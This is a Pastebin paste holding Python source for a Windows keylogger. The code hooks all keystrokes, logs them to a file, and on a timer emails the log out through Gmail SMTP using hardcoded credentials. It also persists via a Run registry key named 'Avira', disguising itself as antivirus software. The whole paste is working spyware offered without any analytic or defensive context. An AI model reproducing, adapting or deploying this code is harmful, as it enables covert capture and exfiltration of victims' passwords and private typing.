Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import pyHook, pythoncom, threading, time, smtplib
- from sys import argv
- from _winreg import *
- from email.mime.text import MIMEText
- class Timer(threading.Thread):
- def __init__(self, seconds):
- self.runTime = seconds
- threading.Thread.__init__(self)
- def run(self):
- time.sleep(self.runTime)
- fp = open('test.txt', 'rb')
- msg = MIMEText(fp.read())
- fp.close()
- msg['Subject'] = 'The contents of %s' % fp
- msg['From'] = 'butters@live.at'
- msg['To'] = 'johnnyf@gmx.at'
- s = smtplib.SMTP('smtp.gmail.com', 587)
- s.ehlo()
- s.starttls()
- s.ehlo()
- s.login('ilykturtles@gmail.com', 'roflcopter')
- s.sendmail('ilykturtles@gmail.com', 'ilykturtles@gmail.com', msg.as_string())
- s.quit()
- def OnKeyboardEvent(event):
- Logs = open('test.txt', 'a+')
- if event.KeyID == 13:
- Logs.write(' [ENTER]\r\n')
- elif event.KeyID == 32:
- Logs.write(' [SPACE] ',)
- elif event.KeyID == 8:
- Logs.write(' [BACK] ',)
- elif event.KeyID == 162:
- Logs.write(' [LEFT CTRL] ',)
- elif event.KeyID == 164:
- Logs.write(' [ALT] ',)
- elif event.KeyID == 9:
- Logs.write(' [TAB] ',)
- elif event.KeyID == 160:
- Logs.write(' [LEFT SHIFT] ',)
- elif event.KeyID == 161:
- Logs.write(' [RIGHT SHIFT] ',)
- elif event.KeyID == 20:
- Logs.write(' [CAPS LOCK] ',)
- else:
- Logs.write(event.Key.lower(),)
- Logs.close()
- time_ = Timer(10)
- time_.start()
- RegKey = CreateKey(HKEY_LOCAL_MACHINE, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run')
- SetValueEx(RegKey, 'Avira', 0, REG_SZ, argv[0])
- hooking = pyHook.HookManager()
- hooking.KeyDown = OnKeyboardEvent
- hooking.HookKeyboard()
- pythoncom.PumpMessages()
Add Comment
Please, Sign In to add comment